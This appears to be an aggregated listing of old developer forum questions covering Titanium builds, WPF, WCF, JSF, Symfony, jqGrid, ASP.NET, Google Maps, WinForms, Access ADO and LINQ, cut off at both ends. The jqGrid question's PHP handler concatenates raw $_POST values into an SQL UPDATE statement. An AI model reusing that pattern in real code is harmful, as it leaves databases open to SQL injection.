itaniumProjects\MyProject\modules\android\com.mwaysolutions.barcode\0.3\lib\zxing.jar;E:\TitaniumProjects\MyProject\modules\android\com.codeboxed.audiorecorder\0.1\audiorecorder.jar;C:\Users\Gabor\AppData\Roaming\Titanium\mobilesdk\win32\1.8.2\android\kroll-apt.jar;C:\Users\Gabor\AppData\Roaming\Titanium\mobilesdk\win32\1.8.2\android\lib\titanium-verify.jar;C:\Users\Gabor\AppData\Roaming\Titanium\mobilesdk\win32\1.8.2\android\lib\titanium-debug.jar" -d E:\TitaniumProjects\MyProject\build\android\bin\classes -proc:none -sourcepath E:\TitaniumProjects\MyProject\build\android\src -sourcepath E:\TitaniumProjects\MyProject\build\android\gen @c:\users\gabor\appdata\local\temp\tmpbqmjuy [ERROR] Error(s) compiling generated Java code [ERROR] E:\TitaniumProjects\MyProject\build\android\gen\com\petosoft\myproject\MyProjectApplication.java:44: cannot find symbol symbol : class AudiorecorderBootstrap location: package com.codeboxed.audiorecorder runtime.addExternalModule("com.codeboxed.audiorecorder", com.codeboxed.audiorecorder.AudiorecorderBootstrap.class); ^ 1 error

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• TwoWay Binding With ItemsControl

  - by Andrew

  I'm trying to write a user control that has an ItemsControl, the ItemsTemplate of which contains a TextBox that will allow for TwoWay binding. However, I must be making a mistake somewhere in my code, because the binding only appears to work as if Mode=OneWay. This is a pretty simplified excerpt from my project, but it still contains the problem: <UserControl x:Class="ItemsControlTest.UserControl1" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" Height="300" Width="300"> <Grid> <StackPanel> <ItemsControl ItemsSource="{Binding Path=.}" x:Name="myItemsControl"> <ItemsControl.ItemTemplate> <DataTemplate> <TextBox Text="{Binding Mode=TwoWay, UpdateSourceTrigger=LostFocus, Path=.}" /> </DataTemplate> </ItemsControl.ItemTemplate> </ItemsControl> <Button Click="Button_Click" Content="Click Here To Change Focus From ItemsControl" /> </StackPanel> </Grid> </UserControl> Here's the code behind for the above control: using System; using System.Windows; using System.Windows.Controls; using System.Collections.ObjectModel; namespace ItemsControlTest { /// <summary> /// Interaction logic for UserControl1.xaml /// </summary> public partial class UserControl1 : UserControl { public ObservableCollection<string> MyCollection { get { return (ObservableCollection<string>)GetValue(MyCollectionProperty); } set { SetValue(MyCollectionProperty, value); } } // Using a DependencyProperty as the backing store for MyCollection. This enables animation, styling, binding, etc... public static readonly DependencyProperty MyCollectionProperty = DependencyProperty.Register("MyCollection", typeof(ObservableCollection<string>), typeof(UserControl1), new UIPropertyMetadata(new ObservableCollection<string>())); public UserControl1() { for (int i = 0; i < 6; i++) MyCollection.Add("String " + i.ToString()); InitializeComponent(); myItemsControl.DataContext = this.MyCollection; } private void Button_Click(object sender, RoutedEventArgs e) { // Insert a string after the third element of MyCollection MyCollection.Insert(3, "Inserted Item"); // Display contents of MyCollection in a MessageBox string str = ""; foreach (string s in MyCollection) str += s + Environment.NewLine; MessageBox.Show(str); } } } And finally, here's the xaml for the main window: <Window x:Class="ItemsControlTest.Window1" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:src="clr-namespace:ItemsControlTest" Title="Window1" Height="300" Width="300"> <Grid> <src:UserControl1 /> </Grid> </Window> Well, that's everything. I'm not sure why editing the TextBox.Text properties in the window does not seem to update the source property for the binding in the code behind, namely MyCollection. Clicking on the button pretty much causes the problem to stare me in the face;) Please help me understand where I'm going wrong. Thanx! Andrew

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• 'normal' SVC versus 'Silverlight' SVC (WCF)

  - by Michel

  Hi, i'm trying to call a WCF service from my Silverlight 3 app. But... when trying to create a 'silverlight enabled wcf service' in my web project, my VS2008 crashes during creating the item (i think while editing the web.config). So i thought: let's create a 'normal' wcf service, and manually edit it to be a 'silverlight enabled webservice'. So i wondered what the differences are, and second: why is there a difference between a service called from a silverlight app and a non-silverlight app? This is what i have now for the binding (i have a service without an Interface contract, just a direct class exposed, to begin with): <system.serviceModel> <behaviors> <serviceBehaviors> <behavior name="RadControlsSilverlightApp1.Web.GetNewDataBehavior"> <serviceMetadata httpGetEnabled="true" /> <serviceDebug includeExceptionDetailInFaults="false" /> </behavior> </serviceBehaviors> </behaviors> <bindings> <customBinding> <binding name="customBinding0"> <binaryMessageEncoding /> <httpTransport /> </binding> </customBinding> </bindings> <serviceHostingEnvironment aspNetCompatibilityEnabled="true" /> <services> <service behaviorConfiguration="RadControlsSilverlightApp1.Web.GetNewDataBehavior" name="RadControlsSilverlightApp1.Web.GetNewData"> <endpoint address="" binding="customBinding" bindingConfiguration="customBinding0" contract="RadControlsSilverlightApp1.Web.GetNewData" /> <endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" /> </service> </services> </system.serviceModel> This one doesn't work because when i add a reference to it from the silverlight app i get these messages: Warning 2 Custom tool warning: Cannot import wsdl:portType Detail: An exception was thrown while running a WSDL import extension: System.ServiceModel.Description.DataContractSerializerMessageContractImporter Error: Exception has been thrown by the target of an invocation. XPath to Error Source: //wsdl:definitions[@targetNamespace='']/wsdl:portType[@name='GetNewData'] C:\Silverlight\RadControlsSilverlightApp1\RadControlsSilverlightApp1\Service References\ServiceReference1\Reference.svcmap 1 1 RadControlsSilverlightApp1 Warning 3 Custom tool warning: Cannot import wsdl:binding Detail: There was an error importing a wsdl:portType that the wsdl:binding is dependent on. XPath to wsdl:portType: //wsdl:definitions[@targetNamespace='']/wsdl:portType[@name='GetNewData'] XPath to Error Source: //wsdl:definitions[@targetNamespace='http://tempuri.org/']/wsdl:binding[@name='CustomBinding_GetNewData'] C:\Silverlight\RadControlsSilverlightApp1\RadControlsSilverlightApp1\Service References\ServiceReference1\Reference.svcmap 1 1 RadControlsSilverlightApp1 Warning 4 Custom tool warning: Cannot import wsdl:port Detail: There was an error importing a wsdl:binding that the wsdl:port is dependent on. XPath to wsdl:binding: //wsdl:definitions[@targetNamespace='http://tempuri.org/']/wsdl:binding[@name='CustomBinding_GetNewData'] XPath to Error Source: //wsdl:definitions[@targetNamespace='http://tempuri.org/']/wsdl:service[@name='GetNewData']/wsdl:port[@name='CustomBinding_GetNewData'] C:\Silverlight\RadControlsSilverlightApp1\RadControlsSilverlightApp1\Service References\ServiceReference1\Reference.svcmap 1 1 RadControlsSilverlightApp1 Warning 5 Custom tool warning: No endpoints compatible with Silverlight 3 were found. The generated client class will not be usable unless endpoint information is provided via the constructor. C:\Silverlight\RadControlsSilverlightApp1\RadControlsSilverlightApp1\Service References\ServiceReference1\Reference.svcmap 1 1 RadControlsSilverlightApp1 (ps., the service can be started in the browser, i get this: svcutil.exe http://localhost:9599/GetNewData.svc?wsdl )

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• JSF command button attribute is transferred incorrectly

  - by Oleg Rybak

  I have following code in jsf page, backed by jsf managed bean <h:dataTable value="#{poolBean.pools}" var="item"> <h:column> <f:facet name="header"> <h:outputLabel value="Id"/> </f:facet> <h:outputText value="#{item.id}"/> </h:column> <h:column> <f:facet name="header"> <h:outputLabel value="Start Range"/> </f:facet> <h:inputText value="#{item.startRange}" required="true"/> </h:column> <h:column> <f:facet name="header"> <h:outputText value="End Range"/> </f:facet> <h:inputText value="#{item.endRange}" required="true"/> </h:column> <h:column> <f:facet name="header"> <h:outputText value="Pool type"/> </f:facet> <h:selectOneMenu value="#{item.poolType}" required="true"> <f:selectItems value="#{poolBean.poolTypesMenu}"/> </h:selectOneMenu> </h:column> <h:column> <f:facet name="header"/> <h:commandButton id="ModifyPool" actionListener="#{poolBean.updatePool}" image="img/update.gif" title="Modify Pool"> <f:attribute name="pool" value="#{item}"/> </h:commandButton> </h:column> </h:dataTable> This code fragment is dedicated to editing come collection of items. Each row of the table contains "edit" button that submits changed values of the row to the server. It has the item itself as an attribute. Submit is performed by calling actionListener method in the backing managed bean. This code runs correctly on Glassfish v 2.1 But when the server was updated to Glassfish v 2.1.1, the attribute stopped to be passed correctly. Instead of passing edited item (when we change the values in table row, we are actually changing the underlying object fields), the source item is submitted to server, i.e. the item that was previously given to the page. All the changes that were made on the page are discarded. I tried to update jsf version from 1.2_02 to 1.2_14 (we are using jsf RI), but it had no effect. Perhaps anyone came across the same problem? Any help and suggestions will be appreciated.

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• Symfony sfDoctrineGuard plugin sfGuardUser module

  - by Joe Mc

  When using sfDoctrineGuard plugin, it automatically generates the backend administration functionality where I can edit users of the system and assign them permissions. So I visit http://.../backend_dev.php/sf_guard_user/:id/edit where I am presented with the user's information including the available permissions to select. By default the permissions are shown as a multiple select box, HTML follows: <select name="sf_guard_user[permissions_list][]" multiple="multiple" id="sf_guard_user_permissions_list"> <option value="1">Permission1</option> <option value="2">Permission2</option> <option value="3">Permission3</option> <option value="4">Permission4</option> </select> What I would prefer is a list of checkboxes. So I searched around and found that if I add the option "expanded" set to true to the following code: 'permissions_list' => new sfWidgetFormDoctrineChoice(array('multiple' => true, 'model' => 'sfGuardPermission', 'expanded' => true,)), The code is part of this file: lib/form/doctrine/sfDoctrineGuardPlugin/base/BasesfGuardUserForm.class.php. I don't think I should've edited this file (potential for changes to be overwritten should sfDoctrineGuard ever be re-installed) but couldn't think of another way to make it work. The generated HTML is as follows: <ul class="checkbox_list"> <li><input name="sf_guard_user[permissions_list][]" type="checkbox" value="1" id="sf_guard_user_permissions_list_1" />&nbsp;<label for="sf_guard_user_permissions_list_1">Permission1</label></li> <li><input name="sf_guard_user[permissions_list][]" type="checkbox" value="2" id="sf_guard_user_permissions_list_2" />&nbsp;<label for="sf_guard_user_permissions_list_2">Permission2</label></li> <li><input name="sf_guard_user[permissions_list][]" type="checkbox" value="3" id="sf_guard_user_permissions_list_3" />&nbsp;<label for="sf_guard_user_permissions_list_3">Permission3</label></li> <li><input name="sf_guard_user[permissions_list][]" type="checkbox" value="4" id="sf_guard_user_permissions_list_4" />&nbsp;<label for="sf_guard_user_permissions_list_4">Permission4</label></li> </ul> What I need to do now is split up the permissions based on their prefix. For example if I had permissions named user_action1, user_action2, file_action1, file_action2, they would display like: User checkbox (custom label) Action One checkbox Action Two File checkbox (custom label) Action One checkbox Action Two but have no idea where to start with this. It would be easy if there was a template to edit but since I'm dealing with the Forms framework it is my understanding that the templates are generated on the fly - I can see them in my symonfy cache folder. How would I go about this? I started writing my own sfWidgetFormDoctrineChoicePermission class that extends the same class as sfWidgetFormDoctrineChoice but am struggling to edit the rendering functions correctly for the desired output. Is this the correct way to go about this work? I also need to integrate my sfGuardUserProfile model into the edit user page (same as above), I read somwhere that editing the generator.yml file for the sfGuardUser plugin module and simply adding the field names from the sfGuardUserProfile table would make it work, but sadly it doesn't. Any help with any of my queries would be appreciated. Thanks

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• jQuery / jqGrids / Submitting form data troubles...

  - by Kelso

  Ive been messing with jqgrids alot of the last couple days, and I have nearly everything the way I want it from the display, tabs with different grids, etc. Im wanting to make use of Modal for adding and editing elements on my grid. My problem that Im running into is this. I have my editurl:"editsu.php" set, if that file is renamed, on edit, i get a 404 in the modal.. great! However, with that file in place, nothing at all seems to happen. I even put a die("testing"); line at the top, so it sees the file, it just doesnt do anything with it. Below is the content. ........ the index page jQuery("#landings").jqGrid({ url:'server.php?tid=1', datatype: "json", colNames:['ID','Tower','Sector', 'Client', 'VLAN','IP','DLink','ULink','Service','Lines','Freq','Radio','Serial','Mac'], colModel:[ {name:'id', index:'id', width : 50, align: 'center', sortable:true,editable:true,editoptions:{size:10}}, {name:'tower', index:'tower', width : 85, align: 'center', sortable:true,editable:false,editoptions:{readonly:true,size:30}}, {name:'sector', index:'sector', width : 50, align: 'center',sortable:true,editable:true,editoptions:{readonly:true,size:20}}, {name:'customer',index:'customer', width : 175, align: 'left', editable:true,editoptions:{readonly:true,size:35}}, {name:'vlan', index:'vlan', width : 35, align: 'left',editable:true,editoptions:{size:10}}, {name:'suip', index:'suip', width : 65, align: 'left',editable:true,editoptions:{size:20}}, {name:'datadl',index:'datadl', width:55, editable: true,edittype:"select",editoptions:{value:"<? $qr = qquery("select * from datatypes"); while ($q = ffetch($qr)) {echo "$q[id]:$q[name];";}?>"}}, {name:'dataul', index:'dataul', width : 55, editable: true,edittype:"select",editoptions:{value:"<? $qr = qquery("select * from datatypes"); while ($q = ffetch($qr)) {echo "$q[id]:$q[name];";}?>"}}, {name:'servicetype', index:'servicetype', width : 85, editable: true,edittype:"select",editoptions:{value:"<? $qr = qquery("select * from servicetype"); while ($q = ffetch($qr)) {echo "$q[id]:$q[name];";}?>"}}, {name:'voicelines', index:'voicelines', width : 35, align: 'center',editable:true,editoptions:{size:30}}, {name:'freqname', index:'freqname', width : 35, editable: true,edittype:"select",editoptions:{value:"<? $qr = qquery("select * from freqband"); while ($q = ffetch($qr)) {echo "$q[id]:$q[name];";}?>"}}, {name:'radioname', index:'radioname', width : 120, editable: true,edittype:"select",editoptions:{value:"<? $qr = qquery("select * from radiotype"); while ($q = ffetch($qr)) {echo "$q[id]:$q[name];";}?>"}}, {name:'serial', index:'serial', width : 100, align: 'right',editable:true,editoptions:{size:20}}, {name:'mac', index:'mac', width : 120, align: 'right',editable:true,editoptions:{size:20}} ], rowNum:20, rowList:[30,50,70], pager: '#pagerl', sortname: 'sid', mtype: "GET", viewrecords: true, sortorder: "asc", altRows: true, caption:"Landings", editurl:"editsu.php", height:420 }); jQuery("#landings").jqGrid('navGrid','#pagerl',{edit:true,add:true,del:false,search:false},{height:400,reloadAfterSubmit:false},{height:400,reloadAfterSubmit:false},{reloadAfterSubmit:false},{}); now for the editsu.php file.. $operation = $_REQUEST['oper']; if ($operation == "edit") { qquery("UPDATE customers SET vlan = '".$_POST['vlan']."', datadl = '".$_POST['datadl']."', dataul = '".$_POST['dataul']."', servicetype = '".$_POST['servicetype']."', voicelines = '".$_POST['voicelines']."', freqname = '".$_POST['freqname']."', radioname = '".$_POST['radioname']."', serial = '".$_POST['serial']."', mac = '".$_POST['mac']."' WHERE id = '".$_POST['id']."'") or die(mysql_error()); } Im just having a hard time troubleshooting this to figure out where its getting hung up at. My next question after this would be to see if its possible to make it so when you click "add", that it auto inserts a row into the db with a couple variable predtermined and then bring up the modal window, but ill work on the first problem first. thanks!

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• Gridview delete/edit not working when using select parameter

  - by Brian Carroll

  new to ASP.NET. I created a sqldatasource and set up basic select query (SELECT * FROM Accounts) using the wizard. I then had the sqldatasource wizard create the INSERT, EDIT and DELETE queries. Connected this datasource to a gridview with EDITING and DELETING enabled. Everything works fine. The SELECT query returns all records and I can edit/delete them. Now I need to send a parameter to the SELECT command to filter the records to those with the user's id (pulled from Membership.GetUser). When I add this parameter, the SELECT command works fine, but the EDIT/DELETE buttons in the gridview no longer work. No error is generated. The page refreshes but the records were not updated in the database. I don't understand what is wrong. CODE: <% Dim u As MembershipUser Dim userid As String u = Membership.GetUser(User.Identity.Name) userid = u.ProviderUserKey.ToString SqlDataSource1.SelectParameters("UserId").DefaultValue = userid %> <asp:GridView ID="GridView1" runat="server" AutoGenerateColumns="False" DataKeyNames="ID" DataSourceID="SqlDataSource1"> <Columns> <asp:CommandField ShowDeleteButton="True" ShowEditButton="True" /> <asp:BoundField DataField="ID" HeaderText="ID" InsertVisible="False" ReadOnly="True" SortExpression="ID" /> <asp:BoundField DataField="UserId" HeaderText="UserId" SortExpression="UserId" /> <asp:BoundField DataField="AccountName" HeaderText="AccountName" SortExpression="AccountName" /> <asp:BoundField DataField="DateAdded" HeaderText="DateAdded" SortExpression="DateAdded" /> <asp:BoundField DataField="LastModified" HeaderText="LastModified" SortExpression="LastModified" /> </Columns> </asp:GridView> <asp:SqlDataSource ID="SqlDataSource1" runat="server" ConnectionString="<%$ ConnectionStrings:CheckingConnectionString %>" DeleteCommand="DELETE FROM [Accounts] WHERE [ID] = @ID" InsertCommand="INSERT INTO [Accounts] ([UserId], [AccountName], [DateAdded], [LastModified]) VALUES (@UserId, @AccountName, @DateAdded, @LastModified)" SelectCommand="SELECT * FROM [Accounts] WHERE [UserId] = @UserId" UpdateCommand="UPDATE [Accounts] SET [UserId] = @UserId, [AccountName] = @AccountName, [DateAdded] = @DateAdded, [LastModified] = @LastModified WHERE [ID] = @ID"> <DeleteParameters> <asp:Parameter Name="ID" Type="Int32" /> </DeleteParameters> <InsertParameters> <asp:Parameter Name="UserId" Type="String" /> <asp:Parameter Name="AccountName" Type="String" /> <asp:Parameter Name="DateAdded" Type="DateTime" /> <asp:Parameter Name="LastModified" Type="DateTime" /> </InsertParameters> <UpdateParameters> <asp:Parameter Name="UserId" Type="String" /> <asp:Parameter Name="AccountName" Type="String" /> <asp:Parameter Name="DateAdded" Type="DateTime" /> <asp:Parameter Name="LastModified" Type="DateTime" /> <asp:Parameter Name="ID" Type="Int32" /> </UpdateParameters> <SelectParameters> <asp:Parameter Name="UserId"/> </SelectParameters> </asp:SqlDataSource>

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• How to validate and entry on a datagrid that is bound to an adapter

  - by Ziv

  Hi, I've been using C# for a while and began a program now to learn WPF-which means I know almost nothing of it. I used this tutorial as a guide to do what I wanted to do (which is binding a database to a datagrid), after a hard struggle to add the adapter as the source of the datagrid I now want to enable editing with validation on some of the cells. My problem is that the data is sent straight from the adapter and not through an object collection (I had a hard time getting to this situation, see the first half of the tutorial on how to bind the adapter and dataset through the resources) but the tutorial doesn't show a way to validate the datagrid if the data is sent through an adapter-only through a collection. To make it clear-how do I validate input in a datagrid that is bound to an adapter through a resource? The relevant code: (XAML) <Window.Resources> <ObjectDataProvider x:Key="DiscsDataProvider" ObjectType="{x:Type local:DiscsDataProvider}" /> <ObjectDataProvider x:Key="Discs" ObjectInstance="{StaticResource ResourceKey=DiscsDataProvider}" MethodName="GetDiscs" /> <Style x:Key="CellEditStyle" TargetType="{x:Type TextBox}"> <Setter Property="BorderThickness" Value="0"/> <Setter Property="Padding" Value="0"/> <Setter Property="Background" Value="Yellow"/> <Style.Triggers> <Trigger Property="Validation.HasError" Value="true"> <Setter Property="ToolTip" Value="{Binding RelativeSource={RelativeSource Self}, Path=(Validation.Errors)[0].ErrorContent}"/> </Trigger> </Style.Triggers> </Style> </Window.Resources> For the datagrid: <Grid Width="auto" Height="auto"> <DockPanel DataContext="{Binding Source={StaticResource ResourceKey=Discs}}"> <DataGrid Margin="12,0,0,12" Name="View_dg" HorizontalAlignment="Left" Width="533" Height="262" VerticalAlignment="Bottom" ItemsSource="{Binding}" AutoGenerateColumns="False" CanUserAddRows="False" CanUserDeleteRows="False" CanUserResizeColumns="True"> <DataGrid.Columns> <DataGridTextColumn Binding="{Binding Path=ContainerID}" CanUserReorder="False" CanUserResize="True" CanUserSort="True" EditingElementStyle="{StaticResource CellEditStyle}" IsReadOnly="False" Header="Container" /> <DataGridTextColumn Binding="{Binding Path=ID}" CanUserReorder="False" CanUserResize="True" CanUserSort="True" EditingElementStyle="{StaticResource CellEditStyle}" IsReadOnly="True" Header="ID" /> <DataGridTextColumn Binding="{Binding Path=Title}" CanUserReorder="False" CanUserResize="True" CanUserSort="True" EditingElementStyle="{StaticResource CellEditStyle}" IsReadOnly="False" Header="Title" /> <DataGridTextColumn Binding="{Binding Path=SubTitle}" CanUserReorder="False" CanUserResize="True" CanUserSort="False" EditingElementStyle="{StaticResource CellEditStyle}" IsReadOnly="False" Header="Sub Title" /> <DataGridTextColumn Binding="{Binding Path=Type}" CanUserReorder="False" CanUserResize="True" CanUserSort="True" EditingElementStyle="{StaticResource CellEditStyle}" IsReadOnly="False" Header="Type" /> <DataGridTextColumn Binding="{Binding Path=Volume}" CanUserReorder="False" CanUserResize="True" CanUserSort="False" EditingElementStyle="{StaticResource CellEditStyle}" IsReadOnly="False" Header="Volume" /> <DataGridTextColumn Binding="{Binding Path=TotalDiscs}" CanUserReorder="False" CanUserResize="True" CanUserSort="False" EditingElementStyle="{StaticResource CellEditStyle}" IsReadOnly="False" Header="Total Discs" /> </DataGrid.Columns> </DataGrid> </DockPanel> and C#: public class DiscsDataProvider { private DiscsTableAdapter adapter; private DB dataset; public DiscsDataProvider() { dataset = new DB(); adapter = new DiscsTableAdapter(); adapter.Fill(dataset.Discs); } public DataView GetDiscs() { return dataset.Discs.DefaultView; } }

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• Change default markers for directions on google maps

  - by Elaine Marley

  I'm a complete noob with google maps api and I started with a given script that I'm editing to what I need to do. In this case I have a map with some points in it that come from a database. They are like this (after I get the lat/lng from the database): var route1 = 'from: 37.496764,-5.913379 to: 37.392587,-6.00023'; var route2 = 'from: 37.392587,-6.00023 to: 37.376964,-5.990838'; routes = [route1, route2]; Then my script does the following: for(var j = 0; j < routes.length; j++) { callGDirections(j); document.getElementById("dbg").innerHTML += "called "+j+"<br>"; } And then the directions: function callGDirections(num) { directionsArray[num] = new GDirections(); GEvent.addListener(directionsArray[num], "load", function() { document.getElementById("dbg").innerHTML += "loaded "+num+"<br>"; var polyline = directionsArray[num].getPolyline(); polyline.setStrokeStyle({color:colors[num],weight:3,opacity: 0.7}); map.addOverlay(polyline); bounds.extend(polyline.getBounds().getSouthWest()); bounds.extend(polyline.getBounds().getNorthEast()); map.setCenter(bounds.getCenter(),map.getBoundsZoomLevel(bounds)); }); // === catch Directions errors === GEvent.addListener(directionsArray[num], "error", function() { var code = directionsArray[num].getStatus().code; var reason="Code "+code; if (reasons[code]) { reason = reasons[code] } alert("Failed to obtain directions, "+reason); }); directionsArray[num].load(routes[num], {getPolyline:true}); } The thing is, I want to change the A and B markers that I get from google on the map to the ones for each of the points that I'm using (each has it's particular icon in the database) but I don't know how to do this. Furthermore, what would be fantastic but I'm clueless if it's even possible is the following: when I get the directions I get something like this: (a) Street A directions (b) Street B And I want (a) Name of first point directions (b) Name of second point (also from database) I understand that my knowledge of the subject is very lacking and the question might be a bit vague, but I would appreciate any tip pointing me in the right direction. EDIT: Ok, I learned a lot from the google api with this problem but I'm still far from what I need. I learned how to hide the default markers doing this: // Hide the route markers when signaled. GEvent.addListener(directionsArray[num], "addoverlay", hideDirMarkers); // Not using the directions markers so hide them. function hideDirMarkers(){ var numMarkers = directionsArray[num].getNumGeocodes() for (var i = 0; i < numMarkers; i++) { var marker = directionsArray[num].getMarker(i); if (marker != null) marker.hide(); else alert("Marker is null"); } } And now when I create new markers doing this: var point = new GLatLng(lat,lng); var marker = createMarker(point,html); map.addOverlay(marker); They appear but they are not clickable (the popup with the html won't show)

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• How to show form in front in C#

  - by corlettk

  Folks, Please does anyone know how to show a Form from an otherwise invisible application, and have it get the focus (i.e. appear on top of other windows)? I'm working in C# .NET 3.5. I suspect I've taken "completely the wrong approach"... I do not Application.Run(new TheForm ()) instead I (new TheForm()).ShowModal()... The Form is basically a modal dialogue, with a few check-boxes; a text-box, and OK and Cancel Buttons. The user ticks a checkbox and types in a description (or whatever) then presses OK, the form disappears and the process reads the user-input from the Form, Disposes it, and continues processing. This works, except when the form is show it doesn't get the focus, instead it appears behind the "host" application, until you click on it in the taskbar (or whatever). This is a most annoying behaviour, which I predict will cause many "support calls", and the existing VB6 version doesn't have this problem, so I'm going backwards in usability... and users won't accept that (and nor should they). So... I'm starting to think I need to rethink the whole shebang... I should show the form up front, as a "normal application" and attach the remainer of the processing to the OK-button-click event. It should work, But that will take time which I don't have (I'm already over time/budget)... so first I really need to try to make the current approach work... even by quick-and-dirty methods. So please does anyone know how to "force" a .NET 3.5 Form (by fair means or fowl) to get the focus? I'm thinking "magic" windows API calls (I know Twilight Zone: This only appears to be an issue at work, we're I'm using Visual Studio 2008 on Windows XP SP3... I've just failed to reproduce the problem with an SSCCE (see below) at home on Visual C# 2008 on Vista Ulimate... This works fine. Huh? WTF? Also, I'd swear that at work yesterday showed the form when I ran the EXE, but not when F5'ed (or Ctrl-F5'ed) straight from the IDE (which I just put up with)... At home the form shows fine either way. Totaly confusterpating! It may or may not be relevant, but Visual Studio crashed-and-burned this morning when the project was running in debug mode and editing the code "on the fly"... it got stuck what I presumed was an endless loop of error messages. The error message was something about "can't debug this project because it is not the current project, or something... So I just killed it off with process explorer. It started up again fine, and even offered to recover the "lost" file, an offer which I accepted. using System; using System.Windows.Forms; namespace ShowFormOnTop { static class Program { [STAThread] static void Main() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); //Application.Run(new Form1()); Form1 frm = new Form1(); frm.ShowDialog(); } } } Background: I'm porting an existing VB6 implementation to .NET... It's a "plugin" for a "client" GIS application called MapInfo. The existing client "worked invisibly" and my instructions are "to keep the new version as close as possible to the old version", which works well enough (after years of patching); it's just written in an unsupported language, so we need to port it. About me: I'm pretty much a noob to C# and .NET generally, though I've got a bottoms wiping certificate, I have been a professional programmer for 10 years; So I sort of "know some stuff". Any insights would be most welcome... and Thank you all for taking the time to read this far. Consiseness isn't (apparently) my forte. Cheers. Keith.

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• Forms bound to updateable ADO recordsets are not updateable when the source includes a JOIN

  - by Art

  I'm developing an application in Access 2007. It uses an .accdb front end connecting to an SQL Server 2005 backend. I use forms that are bound to ADO recordsets at runtime. For the sake of efficiency, the recordsets usually contain only one record, and are queried out on the server: Public Sub SetUpFormRecordset(cn As ADODB.Connection, rstIn As ADODB.Recordset, rstSource As String) Dim cmd As ADODB.Command Dim I As Long Set cmd = New ADODB.Command cn.Errors.Clear ' Recordsets based on command object Execute method are Read Only! With cmd Set .ActiveConnection = cn .CommandType = adCmdText .CommandText = rstSource End With With rstIn .CursorType = adOpenKeyset .LockType = adLockPessimistic 'Check the locktype after opening; optimistic locking is worthless on a bound End With ' form, and ADO might open optimistically without firing an error! rstIn.Open cmd, , adOpenKeyset, adLockPessimistic 'This should run the query on the server and return an updatable recordset With cn If .Errors.Count <> 0 Then For Each errADO In .Errors Call HandleADOErrors(.Errors(I)) I = I + 1 Next errADO End If End With End Sub rstSource (the string containg the TSQL on which the recordset is based) is assembled by the calling routine, in this case from the Open event of the form being bound: Private Sub Form_Open(Cancel As Integer) Dim rst As ADODB.Recordset Dim strSource As String, DefaultSource as String Dim lngID As Long lngID = Forms!MyParent.CurrentID strSource = "SELECT TOP (100) PERCENT dbo.Customers.CustomerID, dbo.Customers.LegacyID, dbo.Customers.Active, dbo.Customers.TypeID, dbo.Customers.Category, " & _ "dbo.Customers.Source, dbo.Customers.CustomerName, dbo.Customers.CustAddrID, dbo.Customers.Email, dbo.Customers.TaxExempt, dbo.Customers.SalesTaxCode, " & _ "dbo.Customers.SalesTax2Code, dbo.Customers.CreditLimit, dbo.Customers.CreationDate, dbo.Customers.FirstOrder, dbo.Customers.LastOrder, " & _ "dbo.Customers.nOrders, dbo.Customers.Concurrency, dbo.Customers.LegacyLN, dbo.Addresses.AddrType, dbo.Addresses.AddrLine1, dbo.Addresses.AddrLine2, " & _ "dbo.Addresses.City, dbo.Addresses.State, dbo.Addresses.Country, dbo.Addresses.PostalCode, dbo.Addresses.PhoneLandline, dbo.Addresses.Concurrency " & _ "FROM dbo.Customers INNER JOIN " & _ "dbo.Addresses ON dbo.Customers.CustAddrID = dbo.Addresses.AddrID " strSource = strSource & "WHERE dbo.Customers.CustomerID= " & lngID With Me 'Default is Set up for editing one record If Not Nz(.RecordSource, vbNullString) = vbNullString Then If .Dirty Then .Dirty = False 'Save any changes on the form .RecordSource = vbNullString End If If rst Is Nothing Then 'Might not be first time through DefaultSource = .RecordSource Else rst.Close Set rst = Nothing End If End With Set rst = New ADODB.Recordset Call setupformrecordset(dbconn, rst, strSource) 'dbconn is a global variable With Me Set .Recordset = rst End With End Sub The recordset that is returned from setupformrecordset is fully updateable, and its .Supports property shows this. It can be edited and updated in code. The entire form, however, is read only, even though it's .AllowEdits and .AllowAdditions properties are both true. Even the fields from the right hand side (the 'many' side) cannot be edited. Removing the INNER JOIN clause from the TSQL (restricting strSource to one table) makes the form fully editable. I've verified that the TSQL includes priimary key fields from both tables, and each table includes a timestamp field for concurrency. I tried changing the .CursorType and .CursorLocation properties of the recordset to no avail. What am I doing wrong?

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• I'm trying to handle the updates on 2 related tables in one DetailsView using Jquery and Linq, and h

  - by Ben Reisner

  Given two related tables (reports, report_fields) where there can be many report_fields entries for each reports entry, I need to allow the user to enter new report_fields, delete existing report_fields, and re-arrange the order. Currently I am using a DetailsView to handle the editing of the reports. I added some logic to handle report_fields, and currently it allows you to succesfully re-arrange the order, but i'm a little stumped as to the best way to add new items, or delete existing items. The basic logic I have is that each report_fields is represented by a . It has a description as the text, and a field for each field in the report_fields table. I use JQuery Sortable to allow the user to re-arrange the LIs. Abbreviated Create Table Statements:(foreign key constraint ignored for brevity) create table report( id integer primary key identity, reportname varchar(250) ) create table report_fields( id integer primary key identity, reportID integer, keyname integer, keyvalue integer, field_order integer ) My abbreviated markup: <asp:DetailsView ...> ... <asp:TemplateField HeaderText="Fields"> <EditItemTemplate> <ul class="MySortable"> <asp:Repeater ID="Repeater1" runat="server" DataSource='<%# Eval("report_fields") %>'> <ItemTemplate> <li> <%# Eval("keyname") %>: <%# Eval("keyvalue") %> <input type="hidden" name="keyname[]" value='<%# Eval("keyname") %>' /> <input type="hidden" name="keyvalue[]" value='<%# Eval("keyvalue") %>' /> </li> </ItemTemplate> </asp:Repeater> </ul> </EditItemTemplate> </asp:TemplateField> </asp:DetailsView> <asp:LinqDataSource ID="LinqDataSource2" onupdating="LinqDataSource2_Updating" table=reports ... /> $(function() { $(".MySortable").sortable({ placeholder: 'MySortable-highlight' }).disableSelection(); }); Code Behind Class: public partial class Administration_AddEditReport protected void LinqDataSource2_Updating(object sender, LinqDataSourceUpdateEventArgs e) { report r = (report)e.NewObject; MyDataContext dc = new MyDataContext(); var fields = from f in dc.report_fields where f.reportID == r.id select f; dc.report_fields.DeleteAllOnSubmit(fields); NameValueCollection nvc = Request.Params; string[] keyname = nvc["keyname[]"].Split(','); string[] keyvalue = nvc["keyvalue[]"].Split(','); for (int i = 0; i < keyname.Length; i++) { report_field rf = new report_field(); rf.reportID = r.id; rf.keyname = keyname[i]; rf.keyvalue = keyvalue[i]; rf.field_order = i; 